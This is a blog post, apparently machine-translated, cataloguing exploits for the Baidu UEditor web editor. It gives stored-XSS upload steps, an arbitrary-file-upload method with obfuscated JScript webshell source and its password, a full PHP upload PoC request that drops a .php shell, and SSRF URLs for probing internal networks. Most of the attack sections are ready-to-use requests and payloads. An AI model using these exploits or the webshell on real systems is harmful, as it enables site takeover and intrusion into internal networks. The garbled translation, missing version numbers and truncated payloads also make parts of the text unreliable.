Baidu ueeditor vulnerability record

Posted by 3r0ss on Sat, 15 Jan 2022 20:00:19 +0100

0x00 Preface

Sort out the loopholes circulating about ueeditor.

"Full demo"

Recently, UEditor is often encountered when mining SRC in the education industry. As shown in the figure below, it is a website using the PHP version of ueeditor (. pdf file is provided by the website with online preview):

The access path for browsing files is as follows: COM / ueeditor / PHP / upload / file / [mm / DD / yyyy] / [special rule rename] pdf

Ueeditor and its development language are directly explained, and many sites can be accessed arbitrarily - the favorite "complete demo".

Find version

If you know the development language, you also need to know the specific version. The problem is that some sites can't find "help", so you can't see the specific version number.

But you can still find it. Visit / ueeditor / dialogues / help / help html:

You can see that is loaded JS resources, view the source code, including:

document.getElementById('version').innerHTML = parent.UE.version;

Therefore, you can rely on the console to print the version in the editor page.

0x01 storage XSS caused by XML file upload

  • Development language: PHP
  • Version:

Gitee has a more popular two open version, which has not been tested.

First upload a picture, use a packet capture tool such as BurpSuite to intercept it, modify it, and then release it. There are three main points:

  1. Modify the action in the address, which should be

    POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1
  2. Modify the value corresponding to content disposition in the Body and change the file suffix to xml

    Content-Disposition: form-data; name="upfile"; filename="test.xml"
  3. All the original picture data in the Body are deleted and changed to payload

The specific XML content can be:

  1. Pop up XSS

    <something:script xmlns:something="">
  2. URL jump

    <something:script xmlns:something="">
  3. Load remote JS

    <something:script src="" xmlns:something="">

0x02 any file upload

  • Development language: net
  • Version: 1.3.6,, 1.5.0

Officials have long been off the shelves net version, but it does not rule out the possibility that there are still active instances.

The flaw is that the CrawlerHandler class used when uploading files does not verify the file type, resulting in arbitrary file upload. Version and version 1.5.0 are used in a slightly different way. requires a domain name that can be resolved correctly. And 1.5.0 can use both IP and common domain names. Relatively speaking, version 1.5.0 is easier to trigger this vulnerability; In version, the attacker needs to provide a normal domain name address to bypass the judgment.


First, place a picture horse on the server accessible to the public network, and then construct a POST.

POST /ueditor/net/controller.ashx?action=catchimage

Omit various in the middle Header


Construct an HTML:

<form action="http://[target IP] / ueeditor / net / controller ashx? action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p >
  <input type="submit" value="Submit" />

After local opening, fill in a remote accessible picture horse address and submit it. The following horses are available.

<script runat="server" language="JScript">
   function popup(str) {
       var q = "u";
       var w = "afe";
       var a = q + "ns" + w; var b= eval(str,a); return(b);
<% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

The access password is hello.


The problem of 00 truncation has not been solved in the earlier version. In order for Malaysia to be parsed normally, you need to put% 00 in After ASP, it is regarded as test when uploading asp. Jpg, which is treated as test asp. Note that% 00 is not plain text, but an invisible character with URL decode. In addition, Malaysia, which has not been confused, may only be able to pass the local test.


The corresponding version of PHP also has file upload problems. Post a PoC:

POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 222
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type: multipart/form-data; boundary=-WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
Content-Disposition: form-data; name="fuck"; filename="fuck.php"
Content-Type: application/octet-stream

Note that the shell path is determined by config [imagepathformat] = ueeditor / PHP / upload / luck. According to the conditions given in PoC, the access path should be http://localhost/ueditor/php/upload/fuck.php.

0x03 SSRF

  • Development language: JSP
  • Version: 1.4.3

Version fixes this problem.

This version of SSRF trigger points:

  • /jsp/controller.jsp?action=catchimage&source[]=
  • /jsp/getRemoteImage.jsp?upfile=
  • /php/controller.php?action=catchimage&source[]=

So we can construct[]=

More POCS:

  • /ueditor/jsp/getRemoteImage.jsp?upfile=
  • /ueditor/jsp/controller.jsp?action=catchimage&source[]=
  • /ueditor/php/controller.php?action=catchimage&source[]=

By modifying the source parameter, you can explore intranet related ports. There was an SSRF problem on Youdao translation website, which led to the direct access of Intranet content.

The returned information after submission is easy to judge. As long as Unicode encoding appears in the state, it must fail (prompt how to fail in Chinese).


In fact, there is another XSS, which is located in the editor page of version, but it is not very useful. Even if it can become a storage type, it is difficult for others to access it.

In addition to code problems, ueeditor can also lead to the leakage of sensitive files -- because stored attachments can be managed online.

Topics: Web Development xss SSRF